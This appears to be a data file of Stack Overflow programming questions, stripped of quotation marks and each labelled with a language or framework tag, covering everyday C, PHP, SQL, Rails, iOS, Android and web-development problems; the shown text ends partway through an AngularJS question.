marmalade sdk and integration new libraries in that  i am new to the marmalade sdk. i have custom library of an ios feature and i want to integrate that library with the marmalade sdk is there any way to add custom libraries in the default marmalade sdk   i should convert my objective c code to the marmalade sdk s compatible language or it can be generate automatically as per working of marmalade juice,ios
how to create function like printf variable argument  i was looking to implement an api like printf for my logging. it should be similar to calling printf. for example:   <pre><code>persistent_log(logtype0   this is buffered writing %d   i); </code></pre>   i looked into variable argument stuff   but it seems i need to know the number &amp; type of arguments there. so i need more help in that regard.,c
local variable  menu_actions  referenced before assignment  i keep getting this error regardless of what i try to do to fix it. i have used this method in another script i made and it worked perfectly but for some reason it just isnt working with this one. the idea is to go back to the first menu number 2 is selected. please note i did check the other related posts but they didnt help me at all.    <pre><code>import os import sys  def menu():     print       this is a test menu      menu()  def back():      menu_actions[ menu ]()      menu_actions = {           menu : menu            2 : back           }  choice = raw_input( &gt;&gt; ) if choice ==  2 :     back() </code></pre>,python
can t access hyperlinkfield text in a gridview  i have a hyperlinkfield defined as follows:   <pre><code>&lt;asp:gridview id= gvnotifications  runat= server  autogeneratecolumns= false  enableviewstate= true  cssclass= tablewhole  alternatingrowstyle-cssclass= tablealt &gt; &lt;columns&gt;     &lt;asp:hyperlinkfield headertext= item#  datatextfield= sku                           datanavigateurlformatstring= /store/item/{0}/                          datanavigateurlfields= sku  itemstyle-cssclass= itemno  /&gt; </code></pre>   in my code-behind  i m attempting to access the text property like this:   <pre><code>    for each gvrow in gvnotifications.rows         processitem(gvrow.cells(0).text.tostring)     next </code></pre>   this code worked when it was defined as a boundfield  like this:   <pre><code>&lt;asp:boundfield headertext= item #  datafield= sku  itemstyle-cssclass= itemno  /&gt; </code></pre>   how can i access the text property on a hyperlinkfield in a gridview.row.cells,asp.net
log pages that are redirecting to my page  i have a page on domain a that is the target of redirects from many pages  not necessarily on domain a.    on the page  i d like to display something like:     <a href= http://somedomain.com/somepage  rel= nofollow >http://somedomain.com/somepage</a> is not available     http referrer doesn t quite do it.  is there another standard header that i could use to get this information,php
what is the best way to clear controls on an asp.net form  after data is entered on a web form and then comitted to a database or whatever  what is the best way to clear the contents of the various text box controls and return combo boxes to a non-selected state   i know this can be done from the code behind but is not the best way since it requires a round trip to the server.  i know javascript is also an option but i am not very familiar with it at all so is there another option or is javascript the best way     thanks,asp.net
query to get contact from particular associated email from a database table  i have made a registration form in android and storing its data in sqlite database. i have 4 fields in registration form i.e. contact no  name  email  password now i just want to get a contact no associated with particular email from the database. which query is perfect for doing that. i have tried this but not worked.   <pre><code>public string getcontact(string a) {     sqlitedatabase db = this.getreadabledatabase();     cursor c = db.rawquery( select * from   + table_user +   where   + column_user_email +   =    +a +       null);     string str = null;     if (c.movetonext()) {         do {             str = c.getstring(c.getcolumnindex( password ));         }         while (c.movetofirst());     }     return str; } </code></pre>,android
mingw pipelining and iterator include  when i compile this i get about 200 lines of compiler errors using mingw32..i tried to pipe it to a text file using > but no go.  but is now calling errors on mingw32 files.    this code is from this <a href= https://stackoverflow.com/questions/7855941/necessity-of-writing-print-functions-for-containers >so post</a>    and an explanation of the code can be found at this <a href= https://stackoverflow.com/questions/7942174/a-generic-print-function >so post.</a>   <pre><code>using namespace std; template &lt;typename container&gt; ostream&amp; operator&lt;&lt;(ostream&amp; os  const container&amp; c)     {     copy(c.begin()  c.end()  ostream_iterator&lt;typename container::value_type&gt;(os     ));     return os;     } </code></pre>,c++
displaying css properties and values of a htmlcontrol  i have a <code>&lt;div id= result  ... &gt;</code> with a bunch of css properties and values and i would like to display them when i click a button. this is what i currently have:   <pre class= lang-cs prettyprint-override ><code>protected void button1_onserverclick(object sender  eventargs e) {     for (int i = 0; i &lt; result.style.value.length; i++)     {         result.innerhtml += result.style.value[i];     } } </code></pre>   the code does display them  however  they are all displayed in a sequence of characters. i would like to get them displayed as properties and values  both with different accessing variable and all pairs on seperate row.    i messed with it for a good while but i can not figure it out.,asp.net
how can i preset a filename for saving a html page   i have a webpage like e.g. <code>www.example.com/nyse/rates</code>. if the user decides to save the html she sees on her local disk  i want to preset the filename she gets  when she clicks  save as   with <code>nyse_rates_09_12_2011.html</code>. (which obviously will be different tomorrow or for a different stock exchange.) now i always get <code>rates.html</code> as default.    how can i do that,html
undefined reference to `__isoc99_sscanf   i am compiling a c code program on suse 11 sp3 and it always put the error just like the title showed.and i try my best to search some ways to fix it up.unfortunately  they doesn t work.   <pre><code>aa/lib/sftp_fsmeg_proc.o /si/usr/aa/lib/rtsc_obm.a /si/usr/aa/lib/sftp.a /si/usr/aa/lib/fisc_app.a /si/usr/aa/lib/rtsc_app.a /si/usr/aa/lib/rtsc_db.a /si/usr/aa/lib/arch.a /si/usr/aa/lib/arch.a -lclntsh `cat /home2/oracle/product/11gr2/db/lib/ldflags`   `cat /home2/oracle/product/11gr2/db/lib/sysliblist` -ldl -lm   /si/usr/aa/lib/sftp_public.o：function ‘sftp_slip_filename’： /si/usr/aa/src/arch/sftp/sftp_public.c:459：undefined reference to ‘__isoc99_sscanf’ /si/usr/aa/lib/arch.a(arch_datetime.o)：function ‘arch_chk_date’： /si/usr/aa/src/arch/arch_datetime.c:124：undefined reference to `__isoc99_sscanf  /si/usr/aa/lib/arch.a(arch_datetime.o)：function ‘arch_chk_time’： /si/usr/aa/src/arch/arch_datetime.c:375：undefined reference to `__isoc99_sscanf  /si/usr/aa/lib/arch.a(arch_datetime.o)：function ‘arch_timestr_to_time’： /si/usr/aa/src/arch/arch_datetime.c:847：undefined reference to `__isoc99_sscanf  </code></pre>   my gcc version is 4.3.4 and libc is 2.11.3.   <pre><code>$gcc --version gcc (suse linux) 4.3.4 [gcc-4_3-branch revision 152973] copyright (c) 2008 free software foundation  inc. $/lib64/libc.so.6 gnu c library stable release version 2.11.3 (20110527)  by roland mcgrath et al. copyright (c) 2009 free software foundation  inc. this is free software; see the source for copying conditions. there is no warranty; not even for merchantability or fitness for a particular purpose. configured for x86_64-suse-linux. compiled by gnu cc version 4.3.4 [gcc-4_3-branch revision 152973]. compiled on a linux 2.6.32 system on 2013-05-10. available extensions:         crypt add-on version 2.1 by michael glad and others         gnu libidn by simon josefsson         native posix threads library by ulrich drepper et al         bind-8.2.3-t5b for bug reporting instructions  please see: &lt;http://www.gnu.org/software/libc/bugs.html&gt;. </code></pre>   and i try to write a miniel with the line that the error info show it seems work normal.when i add /lib64/libc.so.6 it also can compiles successfully.   <pre><code>$/usr/bin/gcc -m64 -fpic -g -i . -dsftp_debug -i /si/usr/aa/include/arch -i /si/usr/aa/include/fisc/app -i /si/usr/aa/include/rtsc -i /si/usr/aa/include/rtsc/app -i /si/usr/aa/include/rtsc/db -i /si/usr/aa/include/arch -i /si/usr/aa/include/arch \ &gt; -o sftp_server -m64  -l/home2/oracle/product/11gr2/db/precomp/lib/ -l/home2/oracle/product/11gr2/db/lib/ -l/home2/oracle/product/11gr2/db/lib/stubs/ \ &gt; -o sftp_server sftp_server.o /si/usr/aa/lib/sftp_server_proc.o /si/usr/aa/lib/sftp_public.o /si/usr/aa/lib/sftp_lzari.o /si/usr/aa/lib/sftp_fsmeg_proc.o /si/usr/aa/lib/rtsc_obm.a /si/usr/aa/lib/sftp.a /si/usr/aa/lib/fisc_app.a /si/usr/aa/lib/rtsc_app.a /si/usr/aa/lib/rtsc_db.a /si/usr/aa/lib/arch.a /si/usr/aa/lib/arch.a \ &gt; -lclntsh `cat /home2/oracle/product/11gr2/db/lib/ldflags`   `cat /home2/oracle/product/11gr2/db/lib/sysliblist` -ldl **/lib64/libc.so.6** -lm  $ </code></pre>   why it is really puzzle me what s the wrong with.can you give me some suggestion  thanks for your reading.,c
why is $_server[ http_host ] not evaluating to the expected value   i m developing a wordpress plugin  and i m having some issues with <code>$_server[ http_host ]</code>.    this is pointing to something that s completely incorrect.  i m calling this from my plugin directory within my wordpress installation  and it comes up with <code>http://www.richmindonline.com/testenvironment/wp-admin/www.richmindonline.com</code>      the correct path for this i m guessing should be simply <code>http://www.richmindonline.com/testenvironment</code>. is it possible to trim this down or somehow create a re-direct within my plugin file     i m thinking i don t need to post code for this.  please let me know if you would like me to post a portion of the code.    <em><strong>update</em></strong>    here s my .htaccess file in the root directory of that installation if that would help.   <pre><code># begin wordpress &lt;ifmodule mod_rewrite.c&gt; rewriteengine on rewritebase /testenvironment/ rewriterule ^index\.php$ - [l] rewritecond %{request_filename} !-f rewritecond %{request_filename} !-d rewriterule . /testenvironment/index.php [l] &lt;/ifmodule&gt;  # end wordpress </code></pre>,php
uialertview causes uibutton whose position is changed at runtime to go back to original position  so i have a <code>storyboard</code> with <code>autolayout</code> on (i need it for other views  not this one  but i cannot switch off autolayout for just one view). i change two ui elements  positions in <code>viewdidlayoutsubviews</code>.  then i tap one of the ui elements  which shows an <code>uialertview</code>  which causes this ui element to go back to its original position (specified in storyboard). however (!) the other element stays in place. i tried to implement <code>uialertviewdelegate</code> to put button back(in  – <code>willpresentalertview</code>:    – <code>didpresentalertview</code>:    – <code>alertview:willdismisswithbuttonindex</code>:    – <code>alertview:diddismisswithbuttonindex</code>:    )   but it didn t work (works in <code>didpresentalertview</code>  but no in any dismiss ones). is there a way to keep the button in place and to keep the <code>autolayout</code> on.,ios
double division loses decimal places in objective-c  what do i have to do to have more than just one decimal place when dividing floats and doubles.    the code is:   <pre><code>   double *dbl; //in fact this is a parameter of the function    double *kg;    double total = 41.2;     *dbl = *kg * 1000.0l / total; </code></pre>   in my case  *kg = 2485 and total = 41.2. so  the result should be someting like 60315.5339805. however  i only get 60315.5. what do i have to do in order not to lose the rest of the decimal digits.    i know i can use nsnumber  but when i convert to double using doublevalue  i always get 60315.5.    thank you in advance.,objective-c
deep clone gem for rails 2.3.8   i found this <a href= http://rubygems.org/gems/deep_cloneable  rel= nofollow >http://rubygems.org/gems/deep_cloneable</a> but it has only been tested with rails 3.     i tried it out  but all of my active record models became undefined. lol. specifically: <code>load_missing_constant : uninitialized constant activerecord (nameerror)</code>    so  i was wondering if there is any sort of active record deep clone gem for rails 2,ruby-on-rails
c# - how to disable buttons after number of entries reached  i am creating a project for school and i have been tasked with the following when creating a button on my form that will add marks into a simple array:    <em> the button (add) should become disabled after the maximum number of quizzes has been added. </em>    so far i have figured out that i need to code: <strong><code>btn.add.enabled = false</code></strong>    <em>ex.code below</em>   <pre><code>private void btnadd_click(object sender  eventargs e)     {    btn.add.enabled = false } </code></pre>   however  i don t know where i should be declaring it along with the rest of the code that will store the quiz marks from the text box on the form.    should this be part of the <code>for loop</code>  can i declare it on it s own within the btnadd click event      (thanks in advance from the extreme c# newbie),c#
controller load order in angularjs when loading from bookmark  in my homecontroller i load data from a web api service and only navigate to the default state of the application (i m using ui-router) once that data has been loaded. i store the data (user details  settings  etc) in a cacheservice that gets injected into any other controllers that need to access to it - which means i only need to load it once.    so once the data has been loaded i then navigate to the default state of the application using $state.go( /diary )  and the diarycontroller gets access to the data in the cacheservice as expected.    however if a user types in the url directly into the browser (e.g. <a href= http://www.somedomain.com/diary  rel= nofollow >http://www.somedomain.com/diary</a>)  then the diarycontroller code executes first - which is bad because that the data has not been loaded into the cacheservice yet by the homecontroller.    my question is how do i force angularjs to always run the homecontroller before any other controllers in this scenario,angularjs
height of a <table> within a <table>  i am trying to put a table inside of a table and have it span 100% of the height of the whole thing  if that makes sense.    <pre><code>&lt;table width= 800  border= 2 &gt; &lt;tr&gt;     &lt;td width= 66% &gt;         box 1     &lt;/td&gt;     &lt;td width= 10  rowspan= 2  /&gt;     &lt;td rowspan= 2  height= 100%  valign= top &gt;         &lt;table width= 100%  height= 100%  bgcolor= yellow &gt;             &lt;tr&gt;                 &lt;td&gt;                     box 2                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;         box 3 &lt;br /&gt;     &lt;/td&gt; &lt;/tr&gt;  &lt;/table&gt; </code></pre>       basically  i want that  yellow  table to go from the top to bottom of the parent table. i can t set it to a fixed height  because heights of  box 1  and  box 3  are dynamic based on whatever is in them.     is this possible,html
can not set the bool value of app setting  i use the codes below to read and write a bool value from my application:   <pre><code>-(void)saveappsetting; {     nsuserdefaults *defaults=[nsuserdefaults standarduserdefaults];      bool b=true;     [defaults setbool:b forkey:@ anykey ];     [defaults synchronize]; } -(void)loadappsetting; {     nsuserdefaults *defaults=[nsuserdefaults standarduserdefaults];     bool b=[defaults boolforkey: @ anykey ] ;   } </code></pre>   i found that  loadappsetting  worked well  it could get the correct value of item with key  anykey . the function  saveappsetting  looked like no function  it reported no error  but it can not change value of the item with key  anykey .     anykey  setting in setting bundle is   <pre><code>item               dictionary type               string       pstoggleswitchspecifier title              string       anykey s title key                string       anykey defaultvalue       boolean      checked </code></pre>   is there any person met the same problem  thanks interdev,iphone
problem reloading uitableview  i have a uitableview which is populated by an array  i have a button on the navigaton bar which (when pressed) adds an item to the array and calls [self.tableview reloaddata] in the uitableview. this results in numberofrowsinsection being called and returning the correct number of rows (the number of items in the array) but doesn t call cellforrowatindexpath. i have created a new navigation based application to try and find a solution but have exactly the same problem! if anyone knows the answer it would be greatly appreciated  i ve been tearing what s left of my hair out for the last day! i have put the source for the test project up on my site at www.sofaracing.com/downloads/test3.zip,iphone
why does my rails method require a reload   this method below is giving me fits. my goal is that the method will always delete any order_notes where the title is equal to  fall protection warning . then  if <code>ismf_without_fall_protection </code> is true  it will add in a new note.    but if the method doesn t have the line with the reload in it  it doesn t work right when <code>ismf_without_fall_protection </code> is true; if i try to use the <code>collector.order_notes</code> collection elsewhere  it shows two order_notes instead of the one that i expected.   <pre><code>def reconcile_fall_protection     collector.order_notes.where(title:  fall protection warning ).destroy_all      return unless ismf_without_fall_protection       collector.order_notes.reload #          collector.order_notes.create(title:  fall protection warning                                    description:  no fall protection )  end </code></pre>   what gives  is there a better way to do this that won t require the reload,ruby-on-rails
why does adding id= ad_a  to a html element sometimes make it invisible in chrome and firefox   i bring to you a simple snippet of html:   <pre><code>&lt;html&gt; &lt;head&gt;&lt;/head&gt; &lt;body&gt; &lt;div id= ad_a &gt;                      test div &lt;/div&gt;  test body  &lt;/body&gt; &lt;/html&gt; </code></pre>   yeah  there s no doctype or what have you  but none of that seems to matter for this strange behavior.    can anybody please tell me why calling my div <code>id= ad_(anything here) </code> hides everything inside this div  it just.. disappears.. it shows up in the page source but it doesn t show up on the loaded page..     i first noticed this in google chrome. firefox seems to ignore it (for me at least  but my friend says it happens in his ff) my internet explorer 9 also ignores this div name and shows its content on the page.    what is going on and why does it do this     is this a commonly used thing  if so  what does it do,html
retrieve list of users and groupsfrom asp.net web site administration tool  i am using vs2005 c# and sql server 2005.    i am using the in-built asp.net web site administration tool in vs2005.    i have set up a few groups and a few users for my web application.    i would like to retrieve the list of users and groups from the application for my user management table in my web application.    may i know if there are any sample codes or step by step guides on the web,asp.net
how to determine what kind of error is returned from $http request in angularjs   i ve been working with angular and i have an error when i do a ajax request post with angularjs i don`t know what is the error just  i can see a message  i would like to know what kind error is it more details.   <pre><code>    .error(function(data  status  headers  config) {             console.log(data);             console.log( error );     }); </code></pre>,angularjs
best way to upload /sync app/game data to server. (android studio)  i have created a android app with sqllite database/android studio.its like a game.i want to upload users high score details to somewhere so users can see who is the best in a app highscore table. i already created game and sql datase. i dont know any method to upload data. am i want to create a server  can i use google drive or onedrive or something  if i can upload to data to onedrive or something  and if i know a method to connect to it  i can calculate other users data and make the highscore table.    thanks please help.,android
find a number is even or odd  i want to write a program to print a number is odd or even. i can t do this:<br> 1) use if or while or do or switch<br> 2) use  : operator<br> 3) arrays<br> it is possible because it is our question. we want to show  even  or  odd  in our printf without if.<br> is it possible to help me      answer from my assistant:     <pre><code>int main() {     int number  answer;     printf( please enter first number:  );     scanf( %d   &amp;number);      (number % 2 &amp;&amp; printf( odd )) || printf( even ); } </code></pre>   my assistant said that there is another way too. he will give it to us. i will post it too.<br> thanks everyone for answers and information.,c
how to update one table in mysql from another table   i have two tables    <strong>table tool</strong> column names:    <pre><code>id toolnumber currentduedate   1    123      11/3/2015   2    456      11/3/2015  3    789      11/3/2015 </code></pre>   <strong>table event</strong> column names:   <pre><code>id  eventnumber  newduedate 7    123          11/3/2015   9    123          11/3/2015 10   456          11/3/2015 </code></pre>   what i want is when i update the newduedate in table event it should update the currentduedate in tool table. i am using this query:    <strong>mysql_query</strong>   <pre><code>update tool inner join event set tool.currentduedate = event.newduedate where tool.toolnumber = event.eventnumber ; </code></pre>   is working fine but if i have 2 field with the same eventnumber this query update only one. any ideas,mysql
what is the safest way to test a local rails server   i am not very experienced   but i have played around with rails a little in the past.  when i did it was easy to test the app without actually exposing anything to the internet  since i could just point my browser to localhost.  but this app will be getting input from a cellphone so i think it needs to be exposed.  what i did so far was to push it to heroku and test there  but that does not seem like a good solution at all since every time i make a change i have push it.  i am thinking i have to open a port on my router so and expose the server  which i think i can figure out how to do fairly quickly.  any suggestions on how to try to keep this as safe as possible   or is there a better solution that i am missing,ruby-on-rails
php getting error for $page = $_get[ page ];  this is my entire code. shared to you.    this is my error:   <pre><code>notice: undefined index: page in /export/home/dynamic/index.php on line 20 </code></pre>   i can t seem to figure out why i keep getting this error. it is not the first time  i ve suspected that it is the array but i don t know what to do with it.    it s suppose to make a dynamic change page to my website.  i ve had errors before where i make a global varible like <code>$page = $_get[ page ];</code>    i am open to any kind of answer and i am greatful to every single on of them.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;website&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;header&gt;header&lt;br /&gt; &lt;nav&gt; &lt;a href= index.php page=index &gt;index&lt;/a&gt; &lt;a href= index.php page=page1 &gt;startsida&lt;/a&gt; &lt;a href= index.php page=page2 &gt;anteckningar&lt;/a&gt; &lt;a href= index.php page=page3 &gt;kontakt&lt;/a&gt; &lt;!-- &lt;a href= index.php page=faq &gt;faq&lt;/a&gt; --&gt; &lt;/nav&gt;&lt;/header&gt;  &lt;div id= content &gt; &lt; php   // place the value from  page=value in the url to the variable $page.  $page = $_get[ page ];   // create an array of the only pages allowed.  $pagearray = array(          index            page1            page2            page3            faq            );   // if there is no page set  include the default main page.   if (!$page) {    include( pages/index.php );  }   // is $page in the array   $inarray = in_array($page  $pagearray);   // if so  include it  if not  emit error.   if ($inarray == true) {    include( pages/ . $page . .php );  }else {    echo  umm tisk tisk. you should not be messing with things. ;  }   &gt;  &lt;/div&gt;  &lt;footer&gt;footer&lt;/footer&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   it is solved! thanks to hek2mgl my code now works properly.     i want to thank the rest for submitting your answers to my problem. i owe you guys.,php
pass handleopenurl for the facebook url  <a href= https://m.facebook.com/dialog/oauth type=user_agent&amp;scope=publish_stream&amp;client_id=%24fbappid&amp;local_client_id=%24suffix&amp;redirect_uri=fb%24fbappid%24suffix%3a%2f%2fauthorize&amp;sdk=ios&amp;display=touch  rel= nofollow >https://m.facebook.com/dialog/oauth type=user_agent&amp;scope=publish_stream&amp;client_id=%24fbappid&amp;local_client_id=%24suffix&amp;redirect_uri=fb%24fbappid%24suffix%3a%2f%2fauthorize&amp;sdk=ios&amp;display=touch</a>   <pre><code>- (bool)handleopenurl:(nsurl*)url {     return [facebook handleopenurl:url]; } </code></pre>   i am calling this method from other class   <pre><code>-(void)callmethod{  bool bool;      nsurl *testurl = [nsurl urlwithstring:@ https://m.facebook.com/dialog/permissions.request _path=permissions.request&amp;app_id=254225037982009&amp;client_id=254225037982009&amp;redirect_uri=fb254225037982009%3a%2f%2fauthorize&amp;sdk=ios&amp;display=touch&amp;type=user_agent&amp;perms=user_birthday%2cemail&amp;fbconnect=1&amp;sso=iphone-safari&amp;from_login=1&amp;refid=9&amp;_rdr ];  bool =   [testcomponent handleopenurl:testurl];  if(bool == yes){ nslog(@ return yes ); } </code></pre>   }    i am guessing it need to return yes.  but its returning no. can any one advice me when it return yes. @all    thanks in advance,iphone
how i solving memory leak problem   i developing an application in which i found memory leak in following method how i remove leak    <pre><code>- (id)initwithstring:(nsstring *)str attributes:(nsdictionary *)attributes {      if ((self = [super init]))     {         _buffer = [str mutablecopy];         _attributes = [nsmutablearray arraywithobjects:[zattributerun attributerunwithindex:0 attributes:attributes]  nil];     }      return self;  } </code></pre>   i founding leak near this line  <strong>_buffer = [str mutablecopy]</strong>;      in allocation stack trace i finding simultaneous memory allocation increasing as a cfstring.    thanks.,iphone
how to change gmt to pst format in java   i have a code that displays time in gmt and i need to show it in pst. how can i modify the below code to get the time in pst     code   <pre><code>public static final string format =  mm/dd/yyyy ; public static final string output_format_std_date6 =  mm/dd/yy hh:mm a ; public static final string input_format_std_timestamp =  yyyy-mm-dd hh:mm:ss ;  public static string formatdate(string strdate  string inputformat  string outputformat) {     date date = convertstringtodate(strdate inputformat);     string displaydatestring = formatdate(date  outputformat);     return displaydatestring; } </code></pre>   formatdate is being called here   <pre><code>public void endelement(string uri  string localname  string qname) throws saxexception {     if( event.equalsignorecase( qname ) ) {         auditentries.add(entry);     } else if( log_time.equalsignorecase( qname ) ) {         string time = content.tostring();         entry.setlogtime( dateutils.formatdate(time   yyyy-mm-dd t hh:mm:ss   dateutils.output_format_std_date6)); } </code></pre>   please help  i am new b in writing java code.     this is how i am doing it.   <pre><code>public static string formatdate(string strdate  string inputformat  string outputformat) {     date date = convertstringtodate(strdate inputformat);      dateformat pstformat = new simpledateformat( outputformat );     pstformat.settimezone( timezone.getdefault() );     string displaydatestring = formatdate(date  outputformat);     return displaydatestring; } </code></pre>   thanks,java
exception in thread  main  java.lang.nosuchmethoderror: main <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2496073/exception-in-thread-main-java-lang-nosuchmethoderror-main >exception in thread &ldquo;main&rdquo; java.lang.nosuchmethoderror: main</a>    </blockquote>    <pre><code>public class m {     int a; //class variable       void f1()     {        int b=10;        system.out.println(a);        system.out.println(b);     } } class b {    public static void main(string args[])    {       m ob=new m(); //object created       ob.f1(); //calling f1 method     } } </code></pre>,java
responsive menu using pure css and not in javascript or jquery  i am using a drop down menu using pure css. i need a good responsive drop down navigation menu for the below ordinary css menu code. i need the responsive using pure css and not in javascript or jquery.    i am trying to do a responsive using pure css but i could not able to do a perfect one. any one please help me. thanks in advance.    <pre><code>ul.menu{ float:right; }  ul.menu &gt; li{ float:left; list-style:none;     }  ul.menu &gt; li.current-menu-item a{ background: #5c5c5c; color:#fff;  }  ul.menu &gt; li &gt; a{ padding: 31px; display:block;   text-decoration: none; font-family: arial  helvetica  sans-serif; color:#666666; -webkit-transition: all 0.3s ease-out; -moz-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; transition: all 0.3s ease-out; }  ul.menu &gt; li &gt; a:hover{ background: #5c5c5c; color:#fff;  }  ul.menu &gt; li:hover &gt; ul.sub-menu{ display:block; visibility:visible; list-style:none; opacity:1;   top: 108px;  }  ul.menu &gt; li &gt; ul.sub-menu &gt; li &gt; a:hover{ background:#5c5c5c; color:#fff;  }  ul.menu &gt; li &gt; ul.sub-menu{ visibility:hidden; position: absolute; width: 200px; z-index: 999; list-style:none;     background: #f9f9f9; border: 1px solid #e9e9e9; border-radius: 0 0 5px 5px; border-bottom: 3px solid #757575; top:40px; opacity:0;   -webkit-transition: all .25s ease; -moz-transition: all .25s ease; -ms-transition: all .25s ease; -o-transition: all .25s ease; transition: all .25s ease;   }  ul.menu &gt; li &gt; ul.sub-menu &gt; li &gt; a{ padding: 15px; display:block; text-decoration: none; font-family: arial  helvetica  sans-serif; color:#666666; -webkit-transition: all 0.3s ease-out; -moz-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; transition: all 0.3s ease-out; border-bottom: 1px solid #efefef;    } </code></pre>,css
how to implement interstitial ads in android app without button click   i have develop android app. how to add interstitial ads into my android app without button click,android
get repeat occurrences within dynamic time period  okay  here s the problem:  i ve got a table with date stamped transactions.  suppose that the date is already removed from the date stamp and the table looks something like this:   <pre><code>;with trx(trx_id  trx_salestotal  trx_timestamp) as     (         select  1  100   09:00:00  union all         select  2  100   09:10:00  union all         select  3  200   17:00:00  union all         select  4  999   11:50:00  union all         select  5  999   12:10:00  union all         select  6  999   12:15:00  union all         select  7  100   08:50:00  union all         select  8  600   17:00:00  union all         select  9  700   17:00:00  union all         select 10  100   09:45:00  union all         select 11  100   17:00:00  union all         select 12  777   09:00:00  union all         select 13  777   09:10:00  union all         select 14  777   10:10:00       ) </code></pre>   i must report on all transactions where the sales value occurs more than 2 times in an hour.  in any given hour.  (so one such period can be 12:30 - 13:30 for one sales total and 12:05 - 13:05 for another sales total  depending on the data.)    the result for the above data should therefore be:   <pre><code>trx_id   trx_salestotal      trx_timestamp 1        100                 09:00:00  2        100                 09:10:00 7        100                 08:50:00 10       100                 09:45:00 4        999                 11:50:00 5        999                 12:10:00 6        999                 12:15:00         </code></pre>   any help would be greatly appreciated!,sql
mysql how to do this query <pre><code>select u.username  count(t.tid) as total from tbl2 t join users u on t.userid = u.userid group by t.userid </code></pre>   the above query works fine and all  it returns the number of total task for each user that has atleast one task in the tbl2 table.    but what i want to do is return all users  even if the user doesn t have any records associated to him in the second tbl2 table. i want the total to show as 0 for those users who doesn t have any records  how can i accomplish this,mysql
how to select in this schema   i have the following schema   <pre><code>mysql&gt; describe category; +-------+---------------------+------+-----+---------+----------------+ | field | type                | null | key | default | extra          | +-------+---------------------+------+-----+---------+----------------+ | id    | tinyint(3) unsigned | no   | pri | null    | auto_increment | | name  | char(64)            | yes  |     | null    |                | +-------+---------------------+------+-----+---------+----------------+ 2 rows in set (0.00 sec)  mysql&gt; describe subcategory; +-------------+---------------------+------+-----+---------+----------------+ | field       | type                | null | key | default | extra          | +-------------+---------------------+------+-----+---------+----------------+ | id          | tinyint(3) unsigned | no   | pri | null    | auto_increment | | name        | char(64)            | yes  |     | null    |                | | category_id | tinyint(3) unsigned | yes  |     | null    |                | +-------------+---------------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec)  mysql&gt; describe quote; +----------------+---------------------+------+-----+---------+----------------+ | field          | type                | null | key | default | extra          | +----------------+---------------------+------+-----+---------+----------------+ | id             | int(10) unsigned    | no   | pri | null    | auto_increment | | content        | text                | yes  |     | null    |                | | category_id    | tinyint(3) unsigned | yes  |     | null    |                | | subcategory_id | tinyint(3) unsigned | yes  |     | null    |                | +----------------+---------------------+------+-----+---------+----------------+ 4 rows in set (0.00 sec)   mysql&gt; select * from quote; +----+---------+-------------+----------------+ | id | content | category_id | subcategory_id | +----+---------+-------------+----------------+ |  1 | text1   |           1 |              1 | |  2 | text2   |           1 |              2 | |  3 | text3   |           2 |              1 | |  4 | text4   |           1 |              3 | |  5 | text5   |           2 |              3 | |  6 | text6   |           2 |              1 | |  7 | text7   |           2 |              2 | |  8 | text8   |           3 |              1 | +----+---------+-------------+----------------+ 8 rows in set (0.00 sec)  mysql&gt;  </code></pre>   first question is  should i drop the <code>quote.category_id</code> to have a normalized db      more importantly  i would like to     <code>select quote.content where the subcategory.name= some_name </code>    how to archive this      sorry for the basic question but i am new to sql. i guess this involves some kind of join,mysql
up/down arrow key issue with typeahead control (angular customize-typeahead-widget) + without bootstrap  we created pluncker : <a href= http://plnkr.co/edit/dgjhskqlvppacfgpqcuq p=preview  rel= nofollow >http://plnkr.co/edit/dgjhskqlvppacfgpqcuq p=preview</a>   we have implemented typeahead control.    the problem is explained in steps:-   <ol> <li>type something i.e  a  to get data in typeahead (list will be populated)</li> <li>press down-arrow key (focus should be on list item)</li> <li>press down-arrow key it should go down and down and press up-key it should up list.</li> </ol>   but we am unable to traverse through the list using up-down key.   <pre><code>angular.module( autosearch   []); angular.module( autosearch ).controller( typeaheadctrl   function($scope  $http) {   $scope.search= {}  console.log( hiiii ); }).directive( searchitems   [ $document   function($document) {     return {       restrict:  e         scope: {         search:  =ngmodel        }        templateurl:  auto-search.html         link: function(scope  elem  attr) {         console.log( fghfgh );         scope.product = {};         scope.quantity = 10;         scope.categoryquantity = 7;         scope.setcurrent = function(product) {           return scope.categories = product.category;         };         scope.search.searchitems = function() {           scope.showlist = true;           scope.items = [             {                id :  99                  name :  apricot kernels                  category : []             }  {                id :  136                  name :  apparel                  category : [                 {                    name :  coats                      id : 156                 }  {                    name :  dresses                      id : 157                 }  {                    name :  ethnic clothing                      id : 165                 }  {                 {                    name :  mannequins                      id : 224                 }  {                    name :  maternity clothing                      id : 225                 }  {                    name :  men s shirts                      id : 226                 }  {                    name :  other apparel                      id : 227                 }  {                    name :  pants \u0026 trousers                      id : 228                 } {                    name :  wedding apparel \u0026 accessories                      id : 296                 }  {                    name :  work wear                      id : 302                 }               ]             }  {                id :  139                  name :  apparel stock                  category : []             }  {                id :  1999                  name :  apparel accessories machinery                  category : [                 {                    name :  cap making machinery                      id : 2000                 }  {                    name :  gloves making machinery                      id : 2001                 }  {                   {                    name :  sock knitting machinery                      id : 2005                 }               ]             }  {                id :  138                  name :  apparel processing services                  category : []             }  {                id :  1990                  name :  apparel \u0026 textile machinery parts                  category : [                 {                    name :  apparel machinery parts                      id : 1991                 }  {                 {                    name :  sock knitting machinery parts                      id : 1997                 }  {                    name :  textile machinery parts                      id : 1998                 }               ]             }  {                id :  1990                  name :  parts                  category : [                 {                    name :  apparel machinery parts                      id 